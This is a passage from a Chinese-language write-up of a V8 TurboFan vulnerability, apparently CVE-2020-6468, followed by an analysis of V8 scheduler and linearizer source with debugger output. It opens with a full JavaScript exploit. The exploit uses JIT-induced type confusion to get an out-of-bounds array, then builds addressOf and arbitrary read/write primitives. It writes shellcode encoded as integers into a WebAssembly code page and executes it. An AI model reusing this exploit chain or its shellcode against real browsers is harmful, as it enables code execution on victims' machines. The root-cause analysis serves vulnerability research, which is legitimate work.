109
110
111
112
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}

function i2f64(value) {
   dv.setBigUint64(0,BigInt(value),true);
   return dv.getFloat64(0,true);
}

function u64f(value) {
   dv.setFloat64(0,value,true);
   return dv.getBigUint64(0,true);
}

class classA {
  constructor() {
    this.val = 0x4242;
    this.x = 0;
  }
}

class classB {
  constructor() {
    this.val = 0x4141;
    this.x = "AAA";
  }
}

var A = new classA();
var B = new classB();

function opt(arg1,arg2) {
   if (arg2 == 666) {
      return 666;
   }
   var a = new Uint8Array(10);
   arg1.val = -1;
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
         if (badbeef + a + b + c*d) {
             while (obj) {
                await 666;
                dead(beef);
             }
         }

      }
   }
   deadcode();
}

for (let i=0;i<20000;i++) {
   opt(A,0);
   opt(B,0);
}

for (let i=0;i<10000;i++) {
   opt(A,666);
   opt(B,666);
}

var oob = [1.1,2.2,3.3];
var obj_arr = [{}];
var float64arr = new Float64Array(1.1,2.2);
var arr_buf = new ArrayBuffer(0x10);
opt(oob,0);

print("[+] oob length=" + oob.length);
var compression_high = u64f(oob[0x19]) & 0xffffffff00000000n;
print("[+] compression_high=0x" + compression_high.toString(16));
function addressOf(obj) {
   obj_arr[0] = obj;
   return compression_high + ((u64f(oob[0x6]) - 0x1n) & 0xffffffffn);
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x68n;
print("[+] wasm_shellcode_ptr_addr=0x" + wasm_shellcode_ptr_addr.toString(16));

/*%DebugPrint(wasmInstance);
%DebugPrint(oob);
%DebugPrint(obj_arr);
%DebugPrint(float64arr);
%DebugPrint(arr_buf);
%SystemBreak();
*/

oob[0x1e] = i2f64(0x100);
oob[0x1f] = i2f64(wasm_shellcode_ptr_addr);
var adv = new DataView(arr_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);

print('[+] wasm_shellcode_addr=0x' + wasm_shellcode_addr.toString(16));
oob[0x1f] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
   adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();

执行效果
image.png

0x04 补充

回顾V8 schedule阶段的设计，可以发现对于每一个控制流节点的添加，都增加了DCHECK_EQ(BasicBlock::kNone, block->control());的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void ConnectThrow(Node* thr) {
  Node* throw_control = NodeProperties::GetControlInput(thr);
  BasicBlock* throw_block = FindPredecessorBlock(throw_control);
  TraceConnect(thr, throw_block, nullptr);
  schedule_->AddThrow(throw_block, thr);
}
void Schedule::AddThrow(BasicBlock* block, Node* input) {
  DCHECK_EQ(BasicBlock::kNone, block->control());
  block->set_control(BasicBlock::kThrow);
  SetControlInput(block, input);
  if (block != end()) AddSuccessor(block, end());
}
void Schedule::SetControlInput(BasicBlock* block, Node* node) {
  block->set_control_input(node);
  SetBlockForNode(block, node);
}

void Schedule::SetBlockForNode(BasicBlock* block, Node* node) {
  if (node->id() >= nodeid_to_block_.size()) {
    nodeid_to_block_.resize(node->id() + 1);
  }
  nodeid_to_block_[node->id()] = block;
}

这是因为要跳出一个基本块，只能是通过一个出口出去
image.png
导致DCHECK未通过的阶段发生在EffectControlLinearizationPhase，我们来分析一下这个阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct EffectControlLinearizationPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(EffectLinearization)

  void Run(PipelineData* data, Zone* temp_zone) {
    {
      // The scheduler requires the graphs to be trimmed, so trim now.
      // TODO(jarin) Remove the trimming once the scheduler can handle untrimmed
      // graphs.
      GraphTrimmer trimmer(temp_zone, data->graph());
      NodeVector roots(temp_zone);
      data->jsgraph()->GetCachedNodes(&roots);
      trimmer.TrimGraph(roots.begin(), roots.end());

      // Schedule the graph without node splitting so that we can
      // fix the effect and control flow for nodes with low-level side
      // effects (such as changing representation to tagged or
      // 'floating' allocation regions.)
      Schedule* schedule = Scheduler::ComputeSchedule(
          temp_zone, data->graph(), Scheduler::kTempSchedule,
          &data->info()->tick_counter());
      TraceScheduleAndVerify(data->info(), data, schedule,
                             "effect linearization schedule");

      MaskArrayIndexEnable mask_array_index =
          (data->info()->GetPoisoningMitigationLevel() !=
           PoisoningMitigationLevel::kDontPoison)
              ? MaskArrayIndexEnable::kMaskArrayIndex
              : MaskArrayIndexEnable::kDoNotMaskArrayIndex;
      // Post-pass for wiring the control/effects
      // - connect allocating representation changes into the control&effect
      //   chains and lower them,
      // - get rid of the region markers,
      // - introduce effect phis and rewire effects to get SSA again.
      LinearizeEffectControl(data->jsgraph(), schedule, temp_zone,
                             data->source_positions(), data->node_origins(),
                             mask_array_index, MaintainSchedule::kDiscard);
    }
    {
      // The {EffectControlLinearizer} might leave {Dead} nodes behind, so we
      // run {DeadCodeElimination} to prune these parts of the graph.
      // Also, the following store-store elimination phase greatly benefits from
      // doing a common operator reducer and dead code elimination just before
      // it, to eliminate conditional deopts with a constant condition.
      GraphReducer graph_reducer(temp_zone, data->graph(),
                                 &data->info()->tick_counter(),
                                 data->jsgraph()->Dead());
      DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                                data->common(), temp_zone);
      CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
                                           data->broker(), data->common(),
                                           data->machine(), temp_zone);
      AddReducer(data, &graph_reducer, &dead_code_elimination);
      AddReducer(data, &graph_reducer, &common_reducer);
      graph_reducer.ReduceGraph();
    }
  }
};

其中的Scheduler::ComputeSchedule生成了中间代码，这个过程中BuildCFG中的ConnectBlocks操作触发了DCHECK
当出现多个Throw时，由于他们属于同一个基本块
image.png
遍历节点是从End开始进行广度优先搜索的，因此134:Throw先遍历到，经过AddThrow以后，134被归到到了73:Call所在的Block中，同时block中保留了control_指针指向134，接下来，遇到173:Throw，再一次来到AddThrow，由于在Release版本中没有DCHECK，因此程序继续执行，block中的control_指针被覆盖为173:Throw，同时,173:Throw也归到73:Call所在的Block中。与正常的情况比起来，两者的结果唯一的不同点在于134:Throw被归到了73：Call的Block中。
在effect linearization schedule阶段生成完成的中间代码被传入LinearizeEffectControl，该阶段主要调用EffectControlLinearizer::Run，用于优化一些不必要的Effect链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void EffectControlLinearizer::Run() {
  BlockEffectControlMap block_effects(temp_zone());
  ZoneVector<PendingEffectPhi> pending_effect_phis(temp_zone());
  ZoneVector<BasicBlock*> pending_block_controls(temp_zone());
  NodeVector inputs_buffer(temp_zone());

  // TODO(rmcilroy) We should not depend on having rpo_order on schedule, and
  // instead just do our own RPO walk here.
  for (BasicBlock* block : *(schedule()->rpo_order())) {
    gasm()->Reset(block);

    BasicBlock::iterator instr = block->begin();
    BasicBlock::iterator end_instr = block->end();

    // The control node should be the first.
    Node* control = *instr;
............................

    // Process the ordinary instructions.
    for (; instr != end_instr; instr++) {
      Node* node = *instr;
      ProcessNode(node, &frame_state);
    }
    block = gasm()->FinalizeCurrentBlock(block);

    switch (block->control()) {
      case BasicBlock::kGoto:
      case BasicBlock::kNone:
        break;
      case BasicBlock::kCall:
      case BasicBlock::kTailCall:
      case BasicBlock::kSwitch:
      case BasicBlock::kReturn:
      case BasicBlock::kDeoptimize:
      case BasicBlock::kThrow:
      case BasicBlock::kBranch:
        UpdateEffectControlForNode(block->control_input());
        gasm()->UpdateEffectControlWith(block->control_input());
        break;
    }
........................
}

其中ProcessNode代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void EffectControlLinearizer::ProcessNode(Node* node, Node** frame_state) {
  SourcePositionTable::Scope scope(source_positions_,
                                   source_positions_->GetSourcePosition(node));
  NodeOriginTable::Scope origin_scope(node_origins_, "process node", node);

  // If basic block is unreachable after this point, update the node's effect
  // and control inputs to mark it as dead, but don't process further.
  if (gasm()->effect() == jsgraph()->Dead()) {
    UpdateEffectControlForNode(node);
    return;
  }

.............................
  if (node->opcode() == IrOpcode::kUnreachable) {
    // Break the effect chain on {Unreachable} and reconnect to the graph end.
    // Mark the following code for deletion by connecting to the {Dead} node.
    gasm()->ConnectUnreachableToEnd();
  }
}

其中注意到当遍历到Unreachable节点时，会调用ConnectUnreachableToEnd函数

1
2
3
4
5
6
7
8
9
void GraphAssembler::ConnectUnreachableToEnd() {
  DCHECK_EQ(effect()->opcode(), IrOpcode::kUnreachable);
  Node* throw_node = graph()->NewNode(common()->Throw(), effect(), control());
  NodeProperties::MergeControlToEnd(graph(), common(), throw_node);
  effect_ = control_ = mcgraph()->Dead();
  if (block_updater_) {
    block_updater_->AddThrow(throw_node);
  }
}

该函数创建了一个新的Throw节点，并且且节点的control和effect继承自前面，该节点是之前424:CheckedTaggedToTaggedSigned Lower以后的节点
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
In file: /home/hi/Desktop/v8/src/compiler/graph-assembler.cc
   817 }
   818 
   819 void GraphAssembler::ConnectUnreachableToEnd() {
   820   DCHECK_EQ(effect()->opcode(), IrOpcode::kUnreachable);
   821   Node* throw_node = graph()->NewNode(common()->Throw(), effect(), control());
 ► 822   NodeProperties::MergeControlToEnd(graph(), common(), throw_node);
   823   effect_ = control_ = mcgraph()->Dead();
   824   if (block_updater_) {
   825     block_updater_->AddThrow(throw_node);
   826   }
   827 }
pwndbg> p control_->id()
$31 = 479
pwndbg> p effect_->id()
$32 = 423

同时我们注意到effect_ = control_ = mcgraph()->Dead();清空了effect_和control_，那么接下来遍历到的节点将不存在effect_和control_。480:Throw是当前block的最后一个节点，因此遍历结束，来到switch中

1
2
3
4
5
6
7
................
      case BasicBlock::kThrow:
      case BasicBlock::kBranch:
        UpdateEffectControlForNode(block->control_input());
        gasm()->UpdateEffectControlWith(block->control_input());
        break;
..............

首先会调用UpdateEffectControlForNode函数更新480:Throw的control

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void EffectControlLinearizer::UpdateEffectControlForNode(Node* node) {
  // If the node takes an effect, replace with the current one.
  if (node->op()->EffectInputCount() > 0) {
    DCHECK_EQ(1, node->op()->EffectInputCount());
    NodeProperties::ReplaceEffectInput(node, gasm()->effect());
  } else {
    // New effect chain is only started with a Start or ValueEffect node.
    DCHECK(node->op()->EffectOutputCount() == 0 ||
           node->opcode() == IrOpcode::kStart);
  }

  // Rewire control inputs.
  for (int i = 0; i < node->op()->ControlInputCount(); i++) {
    NodeProperties::ReplaceControlInput(node, gasm()->control(), i);
  }
}

但是上一步已经将control和effect设置为Dead()了，因此480:Throw的control和effect都设置为了Dead。再回到本节的最开始的问题来看，两个Throw节点，134和173，它们都属于同一个基本块，且位于Unreachable的efrfect链中，但是AddThrow中SetControlInput操作是会更新的，导致block->control_input()的值是最后一次更新上去的节点值，即173:Throw，由于该节点的control和effect在EffectControlLinearizer::ProcessNode中都被设置为Dead，后续会在DeadCodeElimination中会被消除掉。优化以后的图中虽然仍有两个Throw节点，但此时它们之间不再是属于同一个基本块了，没有冲突。
image.png
从以上的分析来看，整个流程都是需要保证一个基本块中只有一个control_input()，如果有多个，那么将只会处理最后更新上去的那个。这是解释了为什么在AddXXXX时需要增加DCHECK事先检查block是否已经存在control_input。因此，134:Throw虽然在Unreachable的effect链中，但是逃过了被消除的风险，一直到最后都能保留在IR图中。
使得这些普通节点都可以”抄近路”来到外层的基本块中。
image.png
然而469:DeoptimizeUnless抄不了近路，因为有Merge节点。

0x05 小结

本漏洞是因为LOOP优化时，通过某种特殊的条件，将Terminate节点换成Throw节点，使得Terminate节点以”换汤不换药”的形式保留在了IR图中，一直到最后一个阶段，其仍然被保留。导致最后的schedule阶段划分基本块时可以”抄近路”，使得原本位于内联中的基本块中的节点分到了外部的基本块中，因为外部基本块总是先执行到，这也就是导致了对一个对象进行操作时，可以先写数据，再进行类型检查。

0x06 感想

通过本次漏洞复现，加深了对V8的IR图的理解，同时也明白了V8是如何根据图来划分基本代码块的，对V8整个优化阶段有了实践性的认识，收获很大。同时感慨漏洞发现人的高明，这个POC蕴含的知识是如此的复杂，看来还得再继续深入学习。

0x07 参考

CVE-2020-6468 分析
Turbofan IR
Meaning of merge, phi, effectphi and dead in v8 terminology
gdb多线程下禁止线程切换
V8 TurboFan 生成图简析
构造Dominator Tree以及Dominator Frontier
Issue 1076708: OOB read/write in v8